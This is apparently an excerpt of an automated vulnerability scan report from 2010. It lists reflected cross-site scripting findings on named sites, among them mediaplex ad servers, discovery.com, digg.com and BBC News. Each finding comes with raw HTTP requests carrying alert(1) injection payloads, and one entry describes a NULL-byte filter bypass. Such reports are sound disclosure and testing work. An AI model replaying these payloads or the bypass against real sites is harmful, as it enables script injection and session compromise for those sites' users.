Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/13001-83639-22765-1?mpt=2295421&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/a%3B230234285%3B0-0%3B0%3B32918551%3B3454-728/90%3B37780718/37798566/1%3B%3B%7Eokv%3D%3Bslot%3Dleaderboard%3Bsz%3D728x90%2C970x66%2C970x90%3Bsectn%3Dnews%3Bctype%3Dcontent%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dweatherforecast8%3Breferrer_domain%3Dnews.bbc.co.uk%3Brsi%3DJ08781_10042%3B%7Esscs%3D%3fda3dc'%3balert(1)//ec89e26a06f HTTP/1.1 Host: altfarm.mediaplex.com Proxy-Connection: keep-alive Referer: http://news.bbc.co.uk/weather/hi/climate Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: svid=711791130703; mojo3=16775:22765/10105:22765/13001:22765/14960:16817/9966:1105; mojo2=10105:22765
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=13001:22765/16775:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 6:32:02 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 602 Date: Thu, 16 Dec 2010 20:01:29 GMT
2.11. http://altfarm.mediaplex.com/ad/js/13001-83639-22765-1 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://altfarm.mediaplex.com
Path:
/ad/js/13001-83639-22765-1
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b4937'-alert(1)-'0691b17defb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/13001-83639-22765-1?b4937'-alert(1)-'0691b17defb=1 HTTP/1.1 Host: altfarm.mediaplex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: mojo2=16775:22765/12760:22765/10105:22765; mojo3=16775:22765/12760:22765/13001:22765/10105:22765/14960:16817/9966:1105; svid=711791130703;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=13001:22765/16775:22765/12760:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 5:31:59 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 246 Date: Thu, 16 Dec 2010 19:51:22 GMT
The value of the mpt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e228f'-alert(1)-'f5aa47bea46 was submitted in the mpt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/13001-83639-22765-2?mpt=1479889e228f'-alert(1)-'f5aa47bea46&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/u%3B230234298%3B0-0%3B0%3B32918551%3B62-120/240%3B36239235/36257113/1%3B%3B%7Eokv%3D%3Bslot%3Dbutton%3Bsz%3D120x240%3Bsectn%3Dnews%3Bctype%3Dcontent%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dnonbbc%3Breferrer_domain%3Dburp%3Brsi%3DJ08781_10139%3B%7Esscs%3D%3f HTTP/1.1 Host: altfarm.mediaplex.com Proxy-Connection: keep-alive Referer: http://news.bbc.co.uk/weather/forecast/8 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: svid=711791130703; mojo3=14960:16817/9966:1105
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=13001:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 6:16:59 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 544 Date: Thu, 16 Dec 2010 20:01:20 GMT
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2917'%3balert(1)//b7478cd42a was submitted in the mpvc parameter. This input was echoed as b2917';alert(1)//b7478cd42a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/13001-83639-22765-2?mpt=1479889&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/u%3B230234298%3B0-0%3B0%3B32918551%3B62-120/240%3B36239235/36257113/1%3B%3B%7Eokv%3D%3Bslot%3Dbutton%3Bsz%3D120x240%3Bsectn%3Dnews%3Bctype%3Dcontent%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dnonbbc%3Breferrer_domain%3Dburp%3Brsi%3DJ08781_10139%3B%7Esscs%3D%3fb2917'%3balert(1)//b7478cd42a HTTP/1.1 Host: altfarm.mediaplex.com Proxy-Connection: keep-alive Referer: http://news.bbc.co.uk/weather/forecast/8 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: svid=711791130703; mojo3=14960:16817/9966:1105
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=13001:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 6:37:00 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 549 Date: Thu, 16 Dec 2010 20:01:22 GMT
2.14. http://altfarm.mediaplex.com/ad/js/13001-83639-22765-2 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://altfarm.mediaplex.com
Path:
/ad/js/13001-83639-22765-2
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fe51d'-alert(1)-'2a99d47446f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/13001-83639-22765-2?fe51d'-alert(1)-'2a99d47446f=1 HTTP/1.1 Host: altfarm.mediaplex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: mojo2=16775:22765/12760:22765/10105:22765; mojo3=16775:22765/12760:22765/13001:22765/10105:22765/14960:16817/9966:1105; svid=711791130703;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=13001:22765/16775:22765/12760:22765/10105:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 5:26:57 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 227 Date: Thu, 16 Dec 2010 19:51:18 GMT
The value of the mpt request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3c90f'-alert(1)-'4734fe956e3 was submitted in the mpt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/16775-116345-22765-0?mpt=22744833c90f'-alert(1)-'4734fe956e3&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/a%3B232764225%3B0-0%3B0%3B32918551%3B62-120/240%3B39420376/39438163/1%3B%3B%7Eokv%3D%3Bslot%3Dbutton%3Bsz%3D120x240%3Bsectn%3Dnews%3Bctype%3Dcontent%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dnonbbc%3Breferrer_domain%3D%3Brsi%3DJ08781_10139%3B%7Esscs%3D%3f HTTP/1.1 Host: altfarm.mediaplex.com Proxy-Connection: keep-alive Referer: http://news.bbc.co.uk/weather/forecast/8 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: svid=711791130703; mojo3=10105:22765/13001:22765/14960:16817/9966:1105
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=16775:22765/10105:22765/13001:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 6:22:00 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 546 Date: Thu, 16 Dec 2010 20:01:21 GMT
The value of the mpvc request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 96886'%3balert(1)//d268d2fbd20 was submitted in the mpvc parameter. This input was echoed as 96886';alert(1)//d268d2fbd20 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/16775-116345-22765-0?mpt=2274483&mpvc=http://ad.doubleclick.net/click%3Bh%3Dv8/3a72/3/0/%2a/a%3B232764225%3B0-0%3B0%3B32918551%3B62-120/240%3B39420376/39438163/1%3B%3B%7Eokv%3D%3Bslot%3Dbutton%3Bsz%3D120x240%3Bsectn%3Dnews%3Bctype%3Dcontent%3Bweather%3Dforcast%3Badsense_mpu%3Dadsense_mpu_weather%3Badsense_middle%3Dadsense_middle_weather%3Breferrer%3Dnonbbc%3Breferrer_domain%3D%3Brsi%3DJ08781_10139%3B%7Esscs%3D%3f96886'%3balert(1)//d268d2fbd20 HTTP/1.1 Host: altfarm.mediaplex.com Proxy-Connection: keep-alive Referer: http://news.bbc.co.uk/weather/forecast/8 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: svid=711791130703; mojo3=10105:22765/13001:22765/14960:16817/9966:1105
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Set-Cookie: mojo3=16775:22765/10105:22765/13001:22765/14960:16817/9966:1105; expires=Sun, 16-Dec-2012 5:46:56 GMT; path=/; domain=.mediaplex.com; P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Content-Type: text/html Content-Length: 546 Date: Thu, 16 Dec 2010 20:01:23 GMT
2.17. http://altfarm.mediaplex.com/ad/js/16775-116345-22765-0 [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://altfarm.mediaplex.com
Path:
/ad/js/16775-116345-22765-0
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f0f34'-alert(1)-'4f5c619851b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /ad/js/16775-116345-22765-0?f0f34'-alert(1)-'4f5c619851b=1 HTTP/1.1 Host: altfarm.mediaplex.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: mojo2=16775:22765/12760:22765/10105:22765; mojo3=16775:22765/12760:22765/13001:22765/10105:22765/14960:16817/9966:1105; svid=711791130703;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: no-cache Content-Type: text/html Content-Length: 233 Date: Thu, 16 Dec 2010 19:51:20 GMT
2.18. http://animal.discovery.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://animal.discovery.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8919"><script>alert(1)</script>c03cf92d4e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?d8919"><script>alert(1)</script>c03cf92d4e3=1 HTTP/1.1 Host: animal.discovery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.15 (Unix) Content-Length: 106671 Content-Type: text/html Cache-Control: max-age=895 Date: Thu, 16 Dec 2010 19:34:24 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
2.19. http://animal.discovery.com/videos/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://animal.discovery.com
Path:
/videos/
Issue detail
The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 736d6--><script>alert(1)</script>44083d244bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /videos/?736d6--><script>alert(1)</script>44083d244bd=1 HTTP/1.1 Host: animal.discovery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close Cookie: rsi_segs=D08734_70033|D08734_72009|D08734_72076|D08734_72080|D08734_72081; s_cc=true; s_vi=[CS]v1|2685353F851616BF-400001784017009B[CE]; s_sq=%5B%5BB%5D%5D; OAX=zAL5FU0Kan8AA977; __qca=P0-729623038-1292528256407; DIT-HISTORY-TRACKING=channel@animal.discovery.com/%7Cpagename@animal.discovery.com/index.html%7Cmodule@%7Cposition@%7Cassetname@;
Response
HTTP/1.1 200 OK Server: Apache/2.2.15 (Unix) Content-Length: 113917 Content-Type: text/html; charset=UTF-8 Set-Cookie: NSC_d12efm_qppm_iuuq=ffffffff09419e5e45525d5f4f58455e445a4a423660;path=/ X-ServerId: 192.168.32.202 Content-Language: en-US Expires: Thu, 16 Dec 2010 20:38:31 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Thu, 16 Dec 2010 20:38:31 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %0060045"><script>alert(1)</script>a4698803c94 was submitted in the REST URL parameter 1. This input was echoed as 60045"><script>alert(1)</script>a4698803c94 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /remote-submit%0060045"><script>alert(1)</script>a4698803c94 HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.21. http://dsc.discovery.com/tv/storm-chasers/production-crew-q-and-a.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://dsc.discovery.com
Path:
/tv/storm-chasers/production-crew-q-and-a.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 24525"><script>alert(1)</script>a576fd62842 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /tv/storm-chasers/production-crew-q-and-a.html?24525"><script>alert(1)</script>a576fd62842=1 HTTP/1.1 Host: dsc.discovery.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.2.15 (Unix) Content-Length: 61009 Content-Type: text/html Expires: Thu, 16 Dec 2010 19:51:55 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Thu, 16 Dec 2010 19:51:55 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- ::::: languages ....................... [ css (ii), javascript (1.+), rss ...[SNIP]... pt type="text/javascript" src="http://omnikool.discovery.com/RealMedia/ads/adstream_mjx.ads/dsc.discovery.com/tv/storm-chasers/production-crew-q-and-a.html/23781347@x21,x24,x03,TopLeft,x25,x12?rsi=not&24525"><script>alert(1)</script>a576fd62842=1"> ...[SNIP]...
The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload e6475<script>alert(1)</script>4547a74f1e was submitted in the csid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /gateway/gw.js?csid=J08781e6475<script>alert(1)</script>4547a74f1e HTTP/1.1 Host: js.revsci.net Proxy-Connection: keep-alive Referer: http://www.bbc.co.uk/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TQeMjxEBEwoAAB9tEi4AAACB; udm_0=MLvv7lHuIS5n5S4sU8S4wMtr4pJpaPP52bY6V6UjBrzoPH4D0GQp3fv4I0PMo/8TkpA+q5p0G3K1GtFz0HuhpCHe3W0oQSRKdgqUT8+i34bQm/vlBJirv0dWFVsQT0kfMxF4iSQXnuIDjOexweeOifGY70ZZDZKPn/p7hXUpCWFRkhlb023UkcHck0i5XIwWSl6HQt+TzYkClInm4XLsEVoDuzVGE0OE7GaXzsnl+P0bFF0i+LoFZSC8XQ9hAkn1YMuk6+7erRu9jrqS8EWjQr46+NZbsSrJUCkxw4kNEj6qHreEkcAt0Kvz5mrvexzg9L7RbSmH5s8fA+A8Tg0cOljmGZqay94Qp44wWXhYDZgvZeecGg2U09C1hmm5add7VtdrnAsTpH3QoyRyfSxeb+qv7JZU+H9oXHe9Em45+yuA+riByFAbDuE+HvVRwseBYX4PEQORl9yloEdYn8jbEgBkwdQU7sfw1oT1PwLjHLdoNejsDMzMIWVzSWu0mwHhBnIyTNMeEPShpNPCZFqphpQaTuf21nhUFw+r5WrI5ZHbsSfjCafK; rsi_segs_1000000=pUPFJ8/CLnIMlp94t6v7mL4LeFJ8CeYbHGdKBUl6DBDe+3tkT34dgQkSus6vHdHGyYDNs2vpIYygM7KN8jMLPVLbvpMAd+Uk9803l7YGO89pGThoF46X4I1I+RqC2jg0oI6YGKCc7dFNgxuBsyP6EsXP+We1Pdcq9oGjvmh5smcwD7a8QbBPRhTBchX4oFwCD3mseIAR7VgWFgb4ntgz55xdExM0JvN2e5hNcj7uO5b1S95elRydaC0/IXnz8n0bHEuZHA==; NETSEGS_D10889=e67d1d842a10639a&D10889&0&4d2c87d6&0&&4d06fe9a&d9c3afa65117f289d36c2e9c61037522; rtc_0=MLuBW6Wht4kRQAAcCQK3olGe3OpxX+eSMmtTUhquHKb7N+gbhcVe5SeqeV+mXRoYyAFMgjARpSrh/QNlLKvobTunWTUj9pWddPtTGVblnoYSO7xz2P/zTScFyMCPLUuwXEdRRjEwcoJwPLbwqS2+HB14LeG6rRGlWwEw1JN5Psd9WsLdaiNh8FZlu//J6Pal1mRlrmIhuCAvPGkYUwchbTWdebLmKl1Tc91BAIs=
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Thu, 16 Dec 2010 19:26:59 GMT Cache-Control: max-age=86400, private Expires: Fri, 17 Dec 2010 19:26:59 GMT Content-Type: application/javascript;charset=ISO-8859-1 Date: Thu, 16 Dec 2010 19:26:59 GMT Content-Length: 127
/* * JavaScript include error: * The customer code "J08781E6475<SCRIPT>ALERT(1)</SCRIPT>4547A74F1E" was not recognized. */
2.23. http://news.bbc.co.uk/2/hi/programmes/world_news_america/9283905.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/2/hi/programmes/world_news_america/9283905.stm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 697e2'-alert(1)-'75b4bf66eb4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/9283905.stm?697e2'-alert(1)-'75b4bf66eb4=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.24. http://news.bbc.co.uk/2/hi/programmes/world_news_america/9283924.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/2/hi/programmes/world_news_america/9283924.stm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 203d9'-alert(1)-'d1cb4a5a003 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/9283924.stm?203d9'-alert(1)-'d1cb4a5a003=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.25. http://news.bbc.co.uk/2/hi/programmes/world_news_america/9291805.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/2/hi/programmes/world_news_america/9291805.stm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f10c6'-alert(1)-'8a29b8fd6c4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/9291805.stm?f10c6'-alert(1)-'8a29b8fd6c4=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.26. http://news.bbc.co.uk/2/hi/programmes/world_news_america/default.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/2/hi/programmes/world_news_america/default.stm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 62b35'-alert(1)-'822c55db67a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/default.stm?62b35'-alert(1)-'822c55db67a=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8e90a'-alert(1)-'f842894b386 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /2/hi/programmes/world_news_america/highlights/default.stm?8e90a'-alert(1)-'f842894b386=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.28. http://news.bbc.co.uk/sport/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/sport/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2756'-alert(1)-'4696914252f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport/?b2756'-alert(1)-'4696914252f=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.29. http://news.bbc.co.uk/sport1/hi/football/9295057.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/sport1/hi/football/9295057.stm
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2d726'-alert(1)-'c87ede84cfd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /sport1/hi/football/9295057.stm?2d726'-alert(1)-'c87ede84cfd=1 HTTP/1.1 Host: news.bbc.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;) Connection: close
2.30. http://news.bbc.co.uk/sport2/hi/boxing/9293972.stm [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://news.bbc.co.uk
Path:
/sport2/hi/boxing/9293972.stm
Issue detail
